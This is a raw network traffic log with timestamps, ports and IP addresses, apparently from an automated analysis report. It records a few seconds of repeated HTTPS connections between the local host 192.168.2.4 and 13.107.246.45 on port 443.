Nov 19, 2024 19:15:10.099677086 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.099812984 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.099822044 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.116384029 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.116451025 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.116569042 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.116775036 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.116791964 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.116799116 CET	49907	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.116805077 CET	443	49907	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.117257118 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.118021011 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.118035078 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.118489027 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.118500948 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.120053053 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.120141983 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.120215893 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.120348930 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.120385885 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.217745066 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.217816114 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.218121052 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.218444109 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.218444109 CET	49908	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.218463898 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.218470097 CET	443	49908	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.221128941 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.221201897 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.221278906 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.221417904 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.221446991 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.704277992 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.710199118 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.710206985 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.710900068 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.710910082 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.732531071 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.733141899 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.733156919 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.733747005 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.733752012 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.737200022 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.737809896 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.737821102 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.738332987 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.738337994 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.762213945 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.762845993 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.762891054 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.763448000 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.763462067 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.811577082 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.811642885 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.811712980 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.811907053 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.811923027 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.811959028 CET	49909	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.811965942 CET	443	49909	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.815012932 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.815100908 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.815181017 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.815367937 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.815402985 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.835700989 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.835761070 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.835901022 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.836046934 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.836062908 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.836087942 CET	49910	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.836096048 CET	443	49910	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.836390972 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.836460114 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.836577892 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.836838961 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.836838961 CET	49911	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.836848974 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.836857080 CET	443	49911	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.839302063 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.839406967 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.839512110 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.839648008 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.839688063 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.839689970 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.839710951 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.839764118 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.839920998 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.839934111 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.857089996 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.857502937 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.857538939 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.857944012 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.857954979 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.861356974 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.861430883 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.861491919 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.861583948 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.861584902 CET	49912	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.861618042 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.861644030 CET	443	49912	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.864142895 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.864202023 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.864295006 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.864444017 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.864474058 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.965975046 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.966029882 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.966274023 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.966447115 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.966491938 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.966519117 CET	49913	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.966536999 CET	443	49913	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.969459057 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.969492912 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:10.969655991 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.969837904 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:10.969845057 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.451200962 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.451703072 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.451735973 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.452387094 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.452395916 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.474549055 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.475120068 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.475153923 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.475701094 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.475711107 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.501194954 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.501718998 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.501761913 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.502165079 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.502173901 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.518697977 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.519330978 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.519362926 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.519958973 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.519965887 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.558419943 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.558486938 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.558720112 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.558772087 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.558794022 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.558809042 CET	49914	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.558815956 CET	443	49914	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.562222004 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.562264919 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.562361956 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.562544107 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.562560081 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.574521065 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.574577093 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.574908972 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.574964046 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.574985027 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.574997902 CET	49916	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.575006008 CET	443	49916	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.578088999 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.578119040 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.578193903 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.578377962 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.578392982 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.605021954 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.605277061 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.605356932 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.605473995 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.605603933 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.605632067 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.605770111 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.605818987 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.605855942 CET	49917	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.605874062 CET	443	49917	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.606175900 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.606182098 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.609055042 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.609090090 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.609291077 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.609447002 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.609456062 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.628066063 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.628182888 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.628428936 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.628506899 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.628508091 CET	49915	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.628552914 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.628587008 CET	443	49915	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.631231070 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.631259918 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.631356955 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.631596088 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.631607056 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.707756042 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.707870960 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.708056927 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.708107948 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.708122969 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.708131075 CET	49918	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.708136082 CET	443	49918	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.711076975 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.711112976 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:11.711210012 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.711361885 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:11.711374998 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.165222883 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.165997982 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.166019917 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.166553020 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.166559935 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.175087929 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.175803900 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.175820112 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.175827980 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.176161051 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.176165104 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.176467896 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.176475048 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.176734924 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.176739931 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.178739071 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.179179907 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.179189920 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.179502010 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.179507017 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.180743933 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.181257010 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.181303024 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.182105064 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.182113886 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.264251947 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.264336109 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.264425993 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.264727116 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.264748096 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.264755011 CET	49920	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.264769077 CET	443	49920	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.268280983 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.268311977 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.268445969 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.268626928 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.268636942 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.276779890 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.276843071 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.276993036 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.277173042 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.277182102 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.277195930 CET	49921	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.277200937 CET	443	49921	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.279953957 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.279973984 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.280040979 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.280282021 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.280293941 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.281229019 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.281250000 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.281301022 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.281301022 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.281337976 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.281599998 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.281599998 CET	49922	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.281618118 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.281630039 CET	443	49922	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.282871962 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.282891035 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.282947063 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.282963037 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.283011913 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.283152103 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.283157110 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.283250093 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.283273935 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.283303022 CET	443	49923	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.283381939 CET	49923	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.284162045 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.284187078 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.284246922 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.284313917 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.284832954 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.284832954 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.284888983 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.285073996 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.285119057 CET	443	49919	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.285185099 CET	49919	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.287235975 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.287252903 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.287307978 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.288249016 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.288264990 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.288288116 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.288311005 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.288321972 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.288415909 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.288429022 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.289561033 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.289608955 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.289668083 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.289988995 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.290004969 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.908994913 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.911967993 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.911974907 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.912667990 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.912672997 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.923103094 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.923628092 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.923651934 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.924242020 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.924248934 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.924546003 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.924930096 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.924963951 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.925549030 CET	49928	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.925554991 CET	443	49928	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.928358078 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.928935051 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.928942919 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.929677963 CET	49927	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.929682970 CET	443	49927	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.935272932 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.935671091 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.935684919 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:13.936142921 CET	49926	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:13.936146975 CET	443	49926	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012087107 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012111902 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012167931 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.012181044 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012367964 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.012377977 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012398958 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.012528896 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012562990 CET	443	49924	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.012675047 CET	49924	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.016093969 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.016186953 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.016282082 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.016424894 CET	49929	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.016463041 CET	443	49929	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.022665024 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.022737980 CET	443	49925	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:14.022782087 CET	49925	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:14.022958040 CET	49925	443	192.168.2.4	13.107.246.45
